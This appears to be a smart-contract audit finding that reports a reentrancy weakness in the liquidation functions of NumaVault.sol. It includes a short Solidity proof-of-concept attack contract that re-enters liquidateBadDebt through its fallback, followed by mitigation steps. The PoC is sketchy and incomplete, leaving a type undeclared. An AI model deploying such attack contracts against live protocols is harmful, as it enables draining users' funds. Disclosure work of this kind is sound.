030.md

Tall Berry Cat

High

Reentrancy Vulnerability in Liquidation Functions

Summary

The liquidateBadDebt, liquidateNumaBorrower, and liquidateLstBorrower functions lack the nonReentrant modifier, making them susceptible to reentrancy attacks. This vulnerability allows attackers to exploit the contract's state during external calls, potentially draining funds or causing inconsistent states.

Root Cause

In NumaVault.sol:884-1128, the liquidateBadDebt, liquidateNumaBorrower, and liquidateLstBorrower functions perform multiple external calls (such as token transfers and interactions with other contracts) without being protected by the nonReentrant modifier from the ReentrancyGuard contract. This omission allows attackers to re-enter these functions during execution, manipulating the contract's state in unintended ways.

Internal pre-conditions

1. An attacker must identify and interact with one of the vulnerable liquidation functions (liquidateBadDebt, liquidateNumaBorrower, or liquidateLstBorrower).
2. The attacker must have a valid strategy to re-enter the contract during the execution of these functions, typically by exploiting fallback functions or manipulating token contracts to call back into the vulnerable function.

External pre-conditions

1. The attacker needs to control or manipulate an external contract that can interact with the NumaVault contract in a way that triggers a reentrant call during the liquidation process.

Attack Path

1. Identify Vulnerable Function: The attacker identifies that liquidateBadDebt, liquidateNumaBorrower, or liquidateLstBorrower lack the nonReentrant modifier.

2. Prepare Malicious Contract: The attacker deploys a malicious contract that can interact with the NumaVault contract and perform reentrant calls.

3. Initiate Liquidation: The attacker calls one of the vulnerable liquidation functions from the malicious contract.

3.Trigger Reentrancy: During the execution of the liquidation function, the malicious contract's fallback or receive function is triggered, which calls back into the same liquidation function before the first call completes.

5. Manipulate State and Drain Funds: By re-entering the liquidation function multiple times, the attacker can manipulate the contract's state variables, drain tokens, or perform unauthorized liquidations, leading to significant financial losses.

Impact

The absence of the nonReentrant modifier in critical liquidation functions can lead to:

1. Fund Drainage: Attackers can repeatedly call liquidation functions to drain tokens from the vault.
2. State Manipulation: Inconsistent or manipulated state variables can disrupt the protocol's financial calculations and stability.
3. Loss of Trust: Financial losses and disrupted operations can erode user and investor confidence in the protocol.

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

interface INumaVault {
    function liquidateBadDebt(
        address _borrower,
        uint _percentagePosition1000,
        CNumaToken collateralToken
    ) external;
    
    function liquidateNumaBorrower(
        address _borrower,
        uint _numaAmount,
        bool _swapToInput,
        bool _flashloan
    ) external;
    
    function liquidateLstBorrower(
        address _borrower,
        uint _lstAmount,
        bool _swapToInput,
        bool _flashloan
    ) external;
}

contract ReentrancyAttack {
    INumaVault public numaVault;
    CNumaToken public collateralToken;
    address public attacker;

    constructor(address _numaVault, address _collateralToken) {
        numaVault = INumaVault(_numaVault);
        collateralToken = CNumaToken(_collateralToken);
        attacker = msg.sender;
    }

    // Fallback function which is called during the liquidation process
    fallback() external payable {
        // Re-enter the liquidation function
        numaVault.liquidateBadDebt(attacker, 1000, collateralToken);
    }

    function attack() external {
        // Initiate the liquidation which will trigger the fallback and re-enter
        numaVault.liquidateBadDebt(attacker, 1000, collateralToken);
    }
}

Mitigation

Apply nonReentrant Modifier:

Protect all liquidation functions by applying the nonReentrant modifier to prevent reentrant calls.

Follow Checks-Effects-Interactions Pattern:

Ensure that all state changes occur before any external calls to minimize the risk of reentrancy.

Use Reentrancy Guards:

Continue leveraging the ReentrancyGuard contract to protect against reentrant calls systematically.